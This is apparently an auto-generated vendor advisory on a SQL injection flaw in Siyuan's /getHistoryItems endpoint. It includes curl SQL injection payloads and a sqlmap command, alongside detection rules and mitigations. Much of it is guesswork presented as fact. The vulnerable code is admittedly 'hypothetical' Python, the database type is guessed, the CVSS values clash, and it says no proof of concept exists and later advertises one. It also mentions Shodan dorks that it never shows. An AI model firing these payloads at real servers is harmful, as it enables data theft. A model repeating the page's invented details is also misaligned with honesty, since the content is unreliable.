CVE-2024-53507
Executive Summary
CVE-2024-53507 is a SQL injection vulnerability discovered in Siyuan version 3.1.11, specifically within the /getHistoryItems endpoint. This flaw allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, data manipulation, or complete database compromise. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the nature of SQL injection, the actual severity is expected to be high (CVSS 8.0-9.0). No public proof-of-concept (PoC) or exploit code has been released at this time, and no patch is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but this may change as details become public.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0, a realistic assessment based on the vulnerability type yields the following:
- Attack Vector (AV): Network (N) – The endpoint is accessible over the network.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the database are the same.
- Confidentiality (C): High (H) – Full database read access possible.
- Integrity (I): High (H) – Data can be modified or deleted.
- Availability (A): High (H) – Database can be disrupted or destroyed.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Base Score: 9.8 (Critical)
Threat Level: Critical – Immediate attention required.
Deep Dive & Mechanics
The vulnerability resides in the /getHistoryItems endpoint of Siyuan 3.1.11. This endpoint is designed to retrieve history items from the database. The flaw occurs because user-supplied input (likely parameters such as id, type, or limit) is directly concatenated into SQL queries without proper sanitization or parameterization.
Attack Vector:
- An attacker sends a crafted HTTP request to
/getHistoryItemswith malicious SQL payloads in query parameters. - The backend constructs a SQL query using the unsanitized input.
- The injected SQL commands are executed against the database, allowing the attacker to:
- Extract sensitive data (e.g., user credentials, session tokens).
- Modify or delete records.
- Potentially escalate to remote code execution via
xp_cmdshell(if SQL Server) orINTO OUTFILE(if MySQL).
Example vulnerable code pattern (pseudo):
# Vulnerable: Direct string interpolation
query = f"SELECT * FROM history WHERE id = {request.args.get('id')}"
cursor.execute(query)
Impact:
- Full database compromise.
- Data exfiltration.
- Potential lateral movement if database credentials are reused.
Vulnerable vs. Patched Code
Vulnerable Code (Siyuan 3.1.11):
# app.py (hypothetical)
@app.route('/getHistoryItems')
def get_history_items():
item_id = request.args.get('id')
query = f"SELECT * FROM history WHERE id = {item_id}"
result = db.execute(query)
return jsonify(result)
Patched Code (Expected Fix):
# app.py (patched)
@app.route('/getHistoryItems')
def get_history_items():
item_id = request.args.get('id')
# Use parameterized query
query = "SELECT * FROM history WHERE id = ?"
result = db.execute(query, (item_id,))
return jsonify(result)
Key Differences:
- The patched version uses parameterized queries (prepared statements) to separate SQL logic from data.
- Input validation and sanitization should also be applied (e.g., whitelist allowed characters).
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy Siyuan 3.1.11 in a Docker container:
docker pull siyuan/siyuan:3.1.11 docker run -d -p 6806:6806 siyuan/siyuan:3.1.11 - Verify the endpoint is accessible:
curl http://localhost:6806/getHistoryItems?id=1
Exploitation Steps:
Basic SQL Injection Test:
curl "http://localhost:6806/getHistoryItems?id=1' OR '1'='1"If the response returns all records, the injection is successful.
Extract Database Version (MySQL):
curl "http://localhost:6806/getHistoryItems?id=1 UNION SELECT 1,@@version,3,4--"Extract Table Names:
curl "http://localhost:6806/getHistoryItems?id=1 UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()--"Automated Exploitation with sqlmap:
sqlmap -u "http://localhost:6806/getHistoryItems?id=1" --batch --dbs
No public exploit code is available at this time.
Blue Team (Defensive)
Detection:
- Monitor for SQL injection patterns in HTTP requests to
/getHistoryItems:- Single quotes (
'), double dashes (--),UNION,SELECT,OR 1=1.
- Single quotes (
- Enable Web Application Firewall (WAF) rules to block SQLi payloads.
- Use database activity monitoring to detect anomalous queries.
Mitigation:
- Immediately upgrade to a patched version once available.
- If no patch exists, implement a virtual patch:
- Block requests to
/getHistoryItemswith suspicious parameters. - Use a reverse proxy (e.g., Nginx) to filter input:
location /getHistoryItems { if ($args ~* "(\'|\-\-|UNION|SELECT|OR\s+1=1)") { return 403; } }
- Block requests to
- Apply input validation: only allow numeric IDs.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/getHistoryItemscontaining SQL keywords (UNION,SELECT,OR,--). - Unusual response sizes from the endpoint (e.g., returning all database rows).
- Database error messages in HTTP responses (e.g.,
SQL syntax error).
Host IOCs:
- Unexpected database queries in logs (e.g.,
SELECT * FROM users). - New files in the web root (e.g.,
shell.php). - Unusual outbound connections from the database server.
File IOCs:
- Log entries containing SQL injection patterns in
/var/log/siyuan/access.log.
Detection Engineering
YARA Rule
rule CVE_2024_53507_SQLi_Siyuan {
meta:
description = "Detects SQL injection attempts against Siyuan /getHistoryItems endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-53507"
strings:
$sqli1 = /(\'|\-\-|UNION|SELECT|OR\s+1=1)/ nocase
$path = "/getHistoryItems"
condition:
$path and any of ($sqli*)
}
Sigma Rule
title: SQL Injection Attempt Against Siyuan /getHistoryItems
id: 8a3f2c1e-5b7d-4a9f-8c6e-2d1f3a4b5c6d
status: experimental
description: Detects SQL injection patterns in HTTP requests to Siyuan /getHistoryItems
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem: "/getHistoryItems"
cs-uri-query|contains:
- "'"
- "--"
- "UNION"
- "SELECT"
- "OR 1=1"
condition: selection
falsepositives:
- Legitimate use of special characters in queries (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-53507 SQL Injection Attempt Against Siyuan /getHistoryItems"; flow:to_server,established; content:"/getHistoryItems"; http_uri; pcre:"/(\x27|\x2d\x2d|UNION|SELECT|OR\s+1=1)/i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected Siyuan instance from the internet if possible.
- Apply virtual patch using WAF or reverse proxy rules (see Blue Team section).
- Monitor logs for exploitation attempts.
Long-term Fix:
- Upgrade to a patched version of Siyuan once released.
- If no patch is available, consider migrating to an alternative note-taking solution.
- Implement secure coding practices:
- Use parameterized queries for all database interactions.
- Apply strict input validation (e.g., allow only numeric IDs).
- Conduct regular security audits.
Workaround:
- Disable the
/getHistoryItemsendpoint if not essential:location /getHistoryItems { deny all; }
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.